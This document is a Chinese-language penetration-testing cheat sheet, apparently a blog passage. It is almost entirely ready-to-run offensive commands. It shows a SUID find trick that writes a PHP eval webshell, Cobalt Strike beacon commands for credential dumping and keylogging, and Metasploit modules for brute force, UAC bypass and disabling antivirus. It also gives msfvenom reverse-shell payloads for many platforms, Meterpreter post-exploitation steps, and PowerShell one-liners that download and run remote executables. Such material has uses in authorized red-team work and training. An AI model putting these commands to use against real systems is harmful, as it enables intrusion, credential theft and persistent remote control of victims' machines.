通过存在suid的命令在root权限下执行其他命令:

1
2
3
# 写入webshell
find /var/www/html -exec touch update.php ;
find /var/www/html -exec echo ‘<?php @eval($_POST['shell']);?>’ > update.php ;
1
2
# 查找/etc/目录下包含password的文件
find /var/www/html -exec find / -type f | xargs -I {} grep -l password {} ;

内网渗透工具

CobaltStrike

团队服务器启动CS服务,注意修改teamserver端口号,默认为50050:

1
./teamserver 1.1.1.1 password

beacon命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
argue                     进程参数欺骗
blockdlls 阻止子进程加载非Microsoft DLL
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC提升权限
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程桌面(VNC)
dllinject 反射DLL注入进程dll
load 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 使用exp
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 终止beacon会话
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在注入进程生成会话
jobkill 结束一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从cache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以其他用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell 执行cmd命令
shinject 将shellcode注入进程
shspawn 启动一个进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestamp 将一个文件的时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM横向渗透
wmi 使用WMI横向渗透

Metasploit

msfconsole常用命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
reload_all                        #从目录重载所有模块
back #后退命令,移出当前上下文,用于模块切换
info #目标和模块详细信息
check #检查目标是否受某个漏洞影响
background #切到后台
sessions #会话管理
sessions -l #列出所有会话
sessions -K #终止所有会话
sessions -i id #进入某个会话
sessions -v #以详细模式列出会话
sessions -u #在许多平台上将shell升级到meterpreter会话
show options #显示可选选项
auxiliary #显示所有辅助模块
exploits #显示所有漏洞利用模块
payloads #显示所有有效载荷
targets #显示所有可用目标
advanced #显示更多高级选项
encoders #显示可用编码器列表

set/unset #设置/禁用模块中的某个参数
setg/unsetg #设置/禁用适用于所有模块的全局参数
set proxies sock5:127.0.0.1:8000 #设置代理

save #将当前设置值保存下来,以便下次启动MSF终端时仍可使用

msfconsole辅助模块(Auxiliary)

端口扫描:

1
2
3
4
5
6
use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas

服务扫描:

1
2
3
4
5
6
7
8
9
10
11
12
auxiliary/scanner/ssh/ssh_login            # SSH爆破
auxiliary/scanner/vnc/vnc_none_auth # VNC空口令扫描
auxiliary/scanner/telnet/telnet_login # Telnet爆破
auxiliary/scanner/smb/smb_version # SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers # SMB枚举
auxiliary/scanner/smb/smb_login # SMB弱口令登录
auxiliary/admin/smb/psexec_command # 登录SMB且执行命令
auxiliary/scanner/redis/redis_login # Redis爆破
auxiliary/scanner/mssql/mssql_ping # MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum # MSSQL枚举
auxiliary/scanner/mysql/mysql_login # MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum # MySQL枚举

msfconsole后渗透攻击模块 (Post)

1
2
3
4
5
6
7
8
9
10
run post/windows/manage/migrate                             # 自动进程迁移
run post/windows/gather/checkvm # 查看目标主机是虚拟机
run post/windows/manage/killav # 关闭杀毒软件
run post/windows/manage/enable_rdp # 开启远程桌面服务
run post/windows/manage/autoroute # 查看路由信息
run post/windows/gather/enum_logged_on_users # 列举当前登录的用户
run post/windows/gather/enum_applications # 列举目标主机应用程序
run post/windows/gather/credentials/windows_autologin # 抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump # dump出所有用户的
hash
1
2
3
4
run post/windows/manage/payload_inject                    # 将另一个payload添加进原有的会话id,从而返回一个新的会话id
run post/windows/manage/enable_rdp # 自动开启3389端口(也可任意端口)
run post/windows/manage/multi_meterpreter_inject # Inject in Memory射入内存
run post/windows/gather/credentials/sso # 获取明文密码

域控相关:

1
2
3
4
5
6
run post/windows/gather/enum_domain                        # 查看域控
run post/windows/gather/enum_domain_group_users # 枚举域组
run post/windows/gather/enum_domain_users # 枚举活动域用户
run post/windows/gather/enum_tokens # 枚举域管理令牌
run post/windows/gather/local_admin_search_enum # 收集本地windows管理员
run post/windows/manage/add_user_domain # 将用户添加到域和/或域组

msfconsole渗透攻击模块(Exploit)

绕过UAC限制:

1
2
3
4
5
6
7
8
9
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_comhijack
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_sluihijack
exploit/windows/local/bypassuac_vbs

msfenvom生成shell code

1
2
3
4
5
6
7
8
Windows:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

Linux:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

Mac:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

msfenvom生成可执行文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.128 LPORT=4444 -f exe > shell.exe

Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Meterpreter常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
meterpreter > background  放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > sysinfo系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表

各种shell的相互转换

msf派生shell给cobalt Strike

1
2
3
4
5
6
7
8
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST xx.x.x.x # CS IP
set LPORT xx # CS http监听端口
set session 1
set DISABLEPAYLOADHANDLER true
run

cobalt Strike联动msf

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost xx.xx.xx.xx
set lport xx
run

选择 foreign 类型的监听进行 Spawn,填写 MSF 的 IP 和监听端口。

command shell转meterpreter

接收普通shell:

1
use exploit/multi/handlerset payload windows/shell/reverse_tcprun

ctrl+Z将反弹的普通shell放置后台,调用shell_to_meterpreter模块升级普通shell:

1
use post/multi/manage/shell_to_meterpreterset SESSION <id>set LPORT run

再次输入sessions -l 查看后台的sessions,新增了meterpreter shell。

meterpreter转command shell

1
meterpreter > shell  命令行shell (exit退出)

内网其他命令

3389端口开放

1
2
3
4
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
net start TermService

powershell文件下载

1
powershell (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','C:\test.exe');start-process 'C:\test.exe'
1
powershell (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','test.exe')
1
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://1.1.1.1/test.ps1")
1
echo (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','C:/test.exe')| powershell -